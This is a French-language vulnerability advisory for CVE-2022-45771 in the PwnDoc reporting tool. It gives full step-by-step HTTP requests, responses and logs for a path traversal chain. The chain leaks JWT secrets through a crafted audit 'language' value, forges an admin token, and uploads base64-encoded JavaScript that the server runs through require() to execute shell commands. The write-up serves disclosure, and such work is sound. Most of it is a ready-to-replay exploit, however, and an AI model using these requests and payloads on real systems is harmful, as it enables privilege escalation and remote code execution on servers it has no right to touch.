CVE-2022-45771

Le PwnDoc est vulnérable au traversement de chemin (path traversal) ainsi qu'à l'inclusion locale de fichiers (LFI), ce qui permet à des utilisateurs non privilégiés de divulguer les secrets JWT et d'obtenir l'exécution de code.

Exigences :

Un attaquant dispose d'un compte valide avec le rôle user
L'application dispose d'un modèle de rapport contenant la balise finding.vulnType ou finding.category

Details

La chaîne de vulnérabilité comprend les parties suivantes :

Absence de validation de la propriété AuditSchema.language au niveau du modèle et de l'endpoint. (Voir /backend/src/models/audit.js, ligne : 71, /backend/src/routes/audit.js, ligne : 57)
Utilisation de la fonction require avec le paramètre AuditSchema.language fourni par l'utilisateur lors de la génération du rapport. (Voir /backend/src/translate/index.js, ligne : 10, /backend/src/lib/report-generator.js, lignes : 24-25, 477, 487)
Exposition des paramètres jwtSecret et jwtRefreshSecret via les exports du module dans le fichier auth.js. (Voir /backend/src/lib/auth.js, lignes : 17-21)
La fonctionnalité d'upload de modèles non sécurisée permet d'uploader des fichiers js (nécessite la permission template:create).

[PoC] La divulgation du secret JWT mène à l'élévation de privilèges

Créez un audit avec ../lib/auth.js comme language ; le fichier sera ensuite chargé et exécuté à l'aide de la fonction require, et par conséquent jwtSecret et jwtRefreshSecret seront exportés.

Requête :

POST /api/audits HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 73
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}


{"name":"privesc-poc","language":"../lib/auth.js","auditType":"tested"}

Réponse :

HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 598
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":{"message":"Audit created successfully","audit":{"collaborators":[],"reviewers":[],"state":"EDIT","approvals":[],"_id":"637a49086f5a2e0012dd58c5","name":"privsec-poc","language":"../lib/auth.js","auditType":"tested","creator":"637a2065ab932e0012015580","sections":[],"customFields":[],"sortFindings":[{"category":"jjj","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true},{"category":"dd","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true}],"scope":[],"findings":[],"createdAt":"2022-11-20T15:34:32.246Z","updatedAt":"2022-11-20T15:34:32.246Z","__v":0}}}

Définissez un modèle de rapport pour l'audit. Notez que le modèle doit contenir la balise finding.vulnType - {vulnType} ou finding.category - {category}. Voir la documentation de templating**

Requête :

PUT /api/audits/637a49086f5a2e0012dd58c5/general HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 207
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}


{"collaborators":[],"reviewers":[],"_id":"637a49086f5a2e0012dd58c5","name":"privesc-poc","language":"../lib/auth.js","auditType":"tested","customFields":[],"template":"6377d57e5cccb10012049dbb","scope":[]}

Réponse :

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:43 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit General updated successfully"}

Ajoutez un finding à l'audit. Notez que la propriété category ou vulnType doit contenir jwtSecret.**

Requête :

POST /api/audits/637a49086f5a2e0012dd58c5/findings HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 368
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}

{"title":"dsdsd","vulnType":"prod","description":"{description}","observation":"{observation}","references":[],"cvssv3":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L","category":null,"customFields":[], "category":"jwtSecret", "vulnType":"jwtRefreshSecret"}

Réponse :

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:54 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit Finding created successfully"}

Générez un rapport pour l'audit précédemment créé et récupérez la valeur de jwtSecret dans le document docx généré.

Requête :

GET /api/audits/637a49086f5a2e0012dd58c5/generate HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Language: en-GB,en;q=0.9
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Connection: keep-alive
Cookie: token=JWT%20{token}

Réponse :

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:34 GMT
Content-Type: application/octet-stream
Content-Length: 98134
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
Content-Disposition: attachment; filename="rce-poc.docx"

{doc-content}

Modifiez le champ role en admin dans votre jeton JWT et signez-le à l'aide du jwtSecret obtenu.

Payload JWT :

{
  "id": "637a2065ab932e0012015580",
  "username": "justuser",
  "role": "admin",
  "firstname": "justuser",
  "lastname": "justuser",
  "email": "[email protected]",
  "phone": "12345",
  "roles": [
    "audits:create",
    "audits:read",
    "audits:update",
    "audits:delete",
    "images:create",
    "images:read",
    "clients:create",
    "clients:read",
    "clients:update",
    "clients:delete",
    "companies:create",
    "companies:read",
    "companies:update",
    "companies:delete",
    "languages:read",
    "audit-types:read",
    "vulnerability-types:read",
    "vulnerability-categories:read",
    "sections:read",
    "templates:read",
    "users:read",
    "roles:read",
    "vulnerabilities:read",
    "vulnerability-updates:create",
    "custom-fields:read",
    "settings:read-public"
  ],
  "iat": 1668958053,
  "exp": 1668958953
}

[PoC] Obtention de l'exécution de code

Après avoir divulgué le secret JWT et ajouté soit le rôle admin, soit la permission template:create, un attaquant peut utiliser une attaque par traversement de chemin pour exécuter le code JS uploadé via la fonctionnalité d'upload de modèles.

Uploadez un fichier js via la fonctionnalité d'upload de rapports.

Requête :

POST /api/templates HTTP/1.1s
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 571
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}

{"name":"exploit-poc","file":"Y29uc29sZS5sb2coJ1tQT0NdIC0gU3RhcnQgb2YgY29kZSBleGVjdXRpb24uJyk7Cgpjb25zdCB7IGV4ZWMgfSA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKTsKCmV4ZWMoImxzIC1sYSIsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpID0+IHsKICAgIGlmIChlcnJvcikgewogICAgICAgIGNvbnNvbGUubG9nKGBlcnJvcjogJHtlcnJvci5tZXNzYWdlfWApOwogICAgICAgIHJldHVybjsKICAgIH0KICAgIGlmIChzdGRlcnIpIHsKICAgICAgICBjb25zb2xlLmxvZyhgc3RkZXJyOiAke3N0ZGVycn1gKTsKICAgICAgICByZXR1cm47CiAgICB9CiAgICBjb25zb2xlLmxvZyhgc3Rkb3V0OiAke3N0ZG91dH1gKTsKfSk7CmNvbnNvbGUubG9nKCdbUE9DXSAtIEVuZCBvZiBjb2RlIGV4ZWN1dGlvbi4nKTsK","ext":"js"}

Réponse :

HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:36:24 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 95
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":{"_id":"637a49786f5a2e0012dd58c7","name":"exploit-poc","ext":"js"}}

Le contenu du fichier est un code JS encodé en base64 :

console.log('[POC] - Start of code execution.');

const { exec } = require("child_process");

exec("ls -la", (error, stdout, stderr) => {
    if (error) {
        console.log(`error: ${error.message}`);
        return;
    }
    if (stderr) {
        console.log(`stderr: ${stderr}`);
        return;
    }
    console.log(`stdout: ${stdout}`);
});
console.log('[POC] - End of code execution.');

Créez un audit avec ../../report-templates/exploit-poc.js comme propriété AuditSchema.language ; le fichier sera ensuite chargé et exécuté à l'aide de la fonction require.

Requête :

POST /api/audits HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 130
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Referer: https://127.0.0.1:8443/audits
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token-with-privileges}

{"name":"rce-poc","language":"../../report-templates/exploit-poc.js","auditType":"tested"}

Réponse :

HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:36:37 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 617
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":{"message":"Audit created successfully","audit":{"collaborators":[],"reviewers":[],"state":"EDIT","approvals":[],"_id":"637a49856f5a2e0012dd58c8","name":"rce-poc","language":"../../report-templates/exploit-poc.js","auditType":"tested","creator":"637a2065ab932e0012015580","sections":[],"customFields":[],"sortFindings":[{"category":"jjj","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true},{"category":"dd","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true}],"scope":[],"findings":[],"createdAt":"2022-11-20T15:36:37.885Z","updatedAt":"2022-11-20T15:36:37.885Z","__v":0}}}

Définissez un modèle valide quelconque pour l'audit.

Requête :

PUT /api/audits/637a49856f5a2e0012dd58c8/general HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 224
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token={token-with-privileges}

{"collaborators":[],"reviewers":[],"_id":"637a49856f5a2e0012dd58c8","name":"rce-poc","language":"../../report-templates/exploit-poc.js","auditType":"tested","customFields":[],"template":"6377d57e5cccb10012049dbb","scope":[]}

Réponse :

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:02 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit General updated successfully"}

Déclenchez la génération du rapport pour obtenir l'exécution de code.

Requête :

GET /api/audits/637a49856f5a2e0012dd58c8/generate HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Language: en-GB,en;q=0.9
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Connection: keep-alive
Cookie: token=JWT%20{token}

Réponse :

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:34 GMT
Content-Type: application/octet-stream
Content-Length: 98134
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
Content-Disposition: attachment; filename="rce-poc.docx"

{doc-content}

Les journaux suivants devraient apparaître :

pwndoc-backend     | [POC] - Start of code execution.
pwndoc-backend     | [POC] - End of code execution.
pwndoc-backend     | stdout: total 1156
pwndoc-backend     | drwxr-xr-x    1 root     root          4096 Nov 18 12:05 .
pwndoc-backend     | drwxr-xr-x    1 root     root          4096 Nov 18 13:00 ..
pwndoc-backend     | -rw-r--r--    1 root     root            23 Nov 18 11:43 .dockerignore
pwndoc-backend     | -rw-r--r--    1 root     root           266 Nov 18 11:43 Dockerfile
pwndoc-backend     | -rw-r--r--    1 root     root           249 Nov 18 11:43 Dockerfile.dev
pwndoc-backend     | -rw-r--r--    1 root     root           250 Nov 18 11:43 Dockerfile.test
pwndoc-backend     | -rw-r--r--    1 root     root           412 Nov 18 11:43 README.md
pwndoc-backend     | -rw-r--r--    1 root     root           204 Nov 18 11:43 babel.config.js
pwndoc-backend     | -rw-r--r--    1 root     root           749 Nov 18 11:43 docker-compose.dev.yml
pwndoc-backend     | -rw-r--r--    1 root     root           367 Nov 18 11:43 docker-compose.test.yml
pwndoc-backend     | -rw-r--r--    1 root     root            67 Nov 18 11:43 jest.config.js
pwndoc-backend     | drwxr-xr-x  594 root     root         20480 Nov 18 12:05 node_modules
pwndoc-backend     | -rw-r--r--    1 root     root       1100446 Nov 18 11:43 package-lock.json
pwndoc-backend     | -rw-r--r--    1 root     root          1255 Nov 18 11:43 package.json
pwndoc-backend     | drwxr-xr-x   10 root     root           320 Nov 20 15:36 report-templates
pwndoc-backend     | drwxr-xr-x    7 root     root          4096 Nov 18 12:04 src
pwndoc-backend     | drwxr-xr-x    2 root     root          4096 Nov 18 12:04 ssl
pwndoc-backend     | drwxr-xr-x    2 root     root          4096 Nov 18 12:04 tests
pwndoc-backend     |

Support

Vous pouvez me suivre sur Twitter, GitHub ou YouTube.

CVE-2022-45771

Populaires

CVE-2022-45771

Details

[PoC] La divulgation du secret JWT mène à l'élévation de privilèges

[PoC] Obtention de l'exécution de code

Support